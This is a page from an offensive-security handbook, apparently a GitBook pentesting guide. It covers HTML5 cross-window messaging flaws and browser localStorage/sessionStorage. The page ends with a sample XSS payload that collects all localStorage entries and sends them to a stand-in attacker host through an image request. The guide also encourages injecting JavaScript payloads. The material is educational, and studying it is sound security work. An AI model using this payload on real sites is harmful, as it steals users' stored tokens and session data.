🍩
HackBook.io
  • Pentesting Pocket Book for hackers and developers.
  • Reconnaissance
    • Internal Recon Basics
    • OSINT
      • Infrastructure
      • Recon-ng
      • Users
      • Google Dorks
    • Active Scanning
      • NMAP
        • NSE
          • reconnoitre
        • NMap Evasion
      • NC Scan
      • Finger Printing
    • Web Server OSINT
      • WhatWeb
      • Subdomains
      • Directory & File Enumeration
        • Enumeration
          • GoCutty
          • gobuster
          • Dirb
          • nikto
        • Fuzzing
        • Crawling
  • Web Application Hacking
    • Web 101
      • Clients
      • Servers
      • Encodings
    • Web Hacking Techniques
      • SOP
      • Open Redirect
      • File & Resource Attacks
        • Directory Traversal
          • Dir Traversal Fuzzer
        • LFI
        • RFI
        • Unrestricted File Uploads
      • XSS
        • DOM
        • Stored
        • Reflected
        • Blind
        • Self XSS
      • XXE
        • XXE Payloads
      • XPath
      • SSRF
      • CSRF
      • SQLi
        • SQL Basics
        • Securing SQL
        • Hacking SQL
          • sqlmap
          • In-Band
          • Error Based
          • Blind
      • Authorization
      • Session Hijacking
      • Command Injection
      • Insecure Deserialization
      • File Uploads
        • File Upload Mitigations
      • HPP
      • Click Jacking
        • Adobe SWF Investigator
      • HTTP Response Splitting
      • Flash 101
        • Flash Hacking
      • HTML5
        • WebSockets
        • CORS
          • iframe
          • Headers
    • Web Hacking Procedures
      • Captcha
      • Username Generation
      • Username Enumeration
      • Inhouse WebApps
      • SSL Cert Generation
      • CMS
        • WordPress
        • Joomla
      • Popular Exploits
        • Bludit CMS
        • ShellShock
        • WebDav
  • Weaponization
    • Buffer Overflows (BOF)
      • DSBOFG
        • Scripts
  • Initial Access
    • 😈Services
      • Finger
      • SNMP
      • LDAP
      • SMTP
      • NFS
      • RPC
        • RPCBind
      • RDP
      • SQL
        • NoSQL
      • POP3
      • Samba
      • SMB
      • SSH
      • Telnet
      • NetBios
      • VOIP/SIP
      • DNS
        • DNS Lookups
        • Zone Transfer
        • SubDomain Enums
        • dnsdumpster
    • 😈Shells
      • Powercat
      • Odd Shells
      • Troubleshoot
      • TTY/PTTY
  • Persistence
    • File Transfers
      • Py->Exe->Txt
      • Cross compile example
    • Backdoors
  • Privilege Escalation
    • Universal Escalation
    • Windows Escalation
      • Automated
      • Popular Exploits
        • ActiveXObject to Wscript RCE
        • Macros
        • Object Linking
    • Linux Escalation
      • Automated
    • Passwords
      • John
      • Medusa
      • Cewl
      • ncrack
      • Crunch
      • Hydra
      • MITM
      • Responder
        • SAM
          • pwdump and fgdump
          • Pass-the-hash
      • Crack the hash
      • NTLM
  • Network Discovery
    • Network Traffic
      • tcpdump
    • Internal Discovery
  • Collection and Staging
    • Collection
      • File types
  • Hacking Objectives
    • Non Kinetic War (Quick Guide)
  • Procedures
    • Bash Guide
    • Active Directory
    • Crypto 101
    • Forensics
  • Glossary
  • Hacking Frameworks
    • Metasploit
      • msfvenom
    • Dsnif
  • ThreatModeling
    • Threat Modeling Overview
  • Certifications
    • VMDR
      • Qualys Asset Management
      • Qualys Vulnerability Management
      • Qualys Threat Prioritization
      • Qualys Response (Patch Deployment)
    • OSCP Cheat Sheet
  • RF - Radio Frequency
    • Ham Technician
Powered by GitBook
On this page
  • Cross Window Messaging
  • Page building:
  • Storage:

Was this helpful?

  1. Web Application Hacking
  2. Web Hacking Techniques

HTML5

PreviousFlash HackingNextWebSockets

Last updated 3 years ago

Was this helpful?

Cross Window Messaging

HTML5 allows coms between iframes, frames, popups, and the current window; Regardless of SOP by using cross windows messaging. For cross windows messaging to work there needs to be a relationship.

Relationships:

  • A main window with an iframe

  • A main window that generates a popup

If the relationship exists then browser tabbed windows can communicate by calling the postMessage() API call. Below is an example of a relationship creation and communication.

For this to complete the communication the receiving window must have a listener.

A typical vuln is when the receiver does not check the origin of the sender message coms.

Page building:

When Cross Windows Messaging is used for page building then there is a possibility to do XSS via the sent message containing our payload.

Inject a JS payload if you can!

Storage:

HTML5 sites can use localStorage and sessionStorage objects via JS to store data in browser. Browser storage is 5mb-10mb, this is only accessible to the browser and cannot be passed like cookies. Browser Storage uses an array data model.

The Local storage is origin specific so any page in the origin can access the data. The data is cleared if an API call is made or the user cleans it up with the browser options.

The Session storage is window specific, so if you open up 5 tabs all pointing to the same URL they will all have their own session storage. This can be cleaned the same ways as the local storage along with when a browser window is closed.

Since these storage types are both managed by JS they can be stolen with XSS

Sample storage stealing xss payload:

<Script>
var i =0;
var stor="";
var img=new Image();
while (localStorage.key(i) !=null)
{
var key=localStorage.key(i);
stor+=key+": "+localStorage.getItem(key)+"\n";
i++;
}
img.src="http://attacker.site?steal.php?storage="+stor;
</script>
Note the bolded security check